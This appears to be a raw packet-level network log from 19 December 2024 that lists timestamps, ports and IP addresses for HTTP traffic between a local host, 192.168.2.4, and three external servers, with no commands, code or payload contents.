Dec 19, 2024 20:11:17.421082973 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:17.421293974 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:17.541445017 CET	80	49787	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:17.592778921 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:17.593138933 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:17.713545084 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:17.713649035 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:17.713749886 CET	80	49788	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:17.713881016 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:17.714106083 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:17.834356070 CET	80	49788	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:18.767884016 CET	80	49787	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:18.767981052 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:18.771049976 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:18.771064997 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:18.773037910 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:18.893695116 CET	80	49790	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:18.893887997 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:18.894159079 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:19.013818979 CET	80	49790	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:19.060817003 CET	80	49788	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:19.060962915 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:19.065634966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:19.065937042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:19.185508966 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:19.185695887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:19.185823917 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:19.185889006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:19.186036110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:19.305571079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.209796906 CET	80	49790	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:20.209938049 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.210283995 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.210314035 CET	49790	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.210978985 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.387710094 CET	80	49796	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:20.387875080 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.388041019 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:20.510217905 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510277987 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510296106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.510340929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.510369062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510416985 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.510560036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510579109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510592937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.510628939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.511040926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.511048079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.511061907 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.511099100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.511113882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.511475086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.511568069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.511677980 CET	80	49796	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:20.631253004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.631395102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.631412029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.631457090 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.635363102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.635668993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.635909081 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.702414989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.702493906 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.702532053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.702687025 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.706635952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.706698895 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.708515882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.708537102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.708595991 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.716427088 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.716504097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.716620922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.716666937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.724915028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.725002050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.725049973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.733294010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.733444929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.733498096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.733556032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.741811037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.741889954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.741919994 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.741960049 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.750485897 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.750499964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.750550985 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.758677959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.758714914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.758774996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.767097950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.767112970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.767162085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.774463892 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.774635077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.774652004 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.774679899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.781806946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.781869888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.782062054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.782128096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.822319031 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.822339058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.822397947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.894510031 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.894573927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.894591093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.894643068 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.896743059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.896851063 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.896892071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.896955013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.901340961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.901396036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.902981997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.903040886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.903053045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.903095961 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.907463074 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.907582045 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.907653093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.907737017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.912013054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.912075043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.912147999 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.912194967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.916429043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.916482925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.916486979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.916527033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.920970917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.921026945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.921082020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.925229073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.925285101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.925327063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.925368071 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.929918051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.929987907 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.930011034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.930027008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.934386015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.934401989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.934458017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.939901114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.939915895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.939954996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.943073988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.943134069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.943283081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.943419933 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.947665930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.947717905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.947913885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.947959900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.953162909 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.953219891 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.954416990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.954464912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.955476046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.955524921 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.956105947 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.956151962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.959959984 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.959973097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.960020065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.962414980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.962479115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.962543011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.962584972 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.967655897 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.967668056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.967709064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.970288992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.970343113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.970640898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.970690966 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.973753929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.973799944 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.973989010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.974128008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.977348089 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.977402925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.977710962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.977758884 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.980901003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.980925083 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.980973005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.980986118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:20.984327078 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:20.986485958 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.087310076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.087398052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.087398052 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.087443113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.088450909 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.088499069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.089092970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.089129925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.089574099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.089652061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.091882944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.091928959 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.092025042 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.092070103 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.094937086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.094985962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.095092058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.095349073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.097723007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.097871065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.097875118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.097975016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.099344015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.099390030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.099534035 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.099585056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.101874113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.101917028 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.102009058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.102236032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.104592085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.104630947 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.104680061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.109498024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.109512091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.109612942 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.109638929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.110296965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.110352039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.110578060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.110630035 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.112771988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.112865925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.112931967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.112978935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.115288973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.115299940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.115335941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.116848946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.116903067 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.117140055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.117187977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.119565010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.119577885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.119623899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.121793985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.121859074 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.122168064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.122219086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.124325037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.124416113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.124434948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.124509096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.126777887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.126800060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.126847029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.129447937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.129470110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.129517078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.129517078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.131639957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.131704092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.131736040 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.131778002 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.134160995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.134208918 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.135077953 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.135133982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.136630058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.136674881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.136909008 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.136997938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.139094114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.139142990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.139240026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.139278889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.141531944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.141633034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.142463923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.142554045 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.144027948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.144092083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.144131899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.144182920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.146732092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.146828890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.146969080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.147026062 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.149096966 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.149209976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.149447918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.149490118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.151439905 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.151484013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.151721001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.151813984 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.154042006 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.154140949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.154272079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.154318094 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.156438112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.156486988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.156608105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.156644106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.158948898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.158994913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.159512043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.159821987 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.161276102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.161345005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.161386967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.161509991 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.163948059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.164007902 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.164361954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.164402008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.166165113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.166215897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.278192997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.278291941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.278460979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.278831959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.278882980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.278927088 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.281063080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.281075954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.281130075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.282999039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.283454895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.283520937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.285026073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.285149097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.285201073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.287188053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.288286924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.288342953 CET	49794	80	192.168.2.4	31.41.244.11
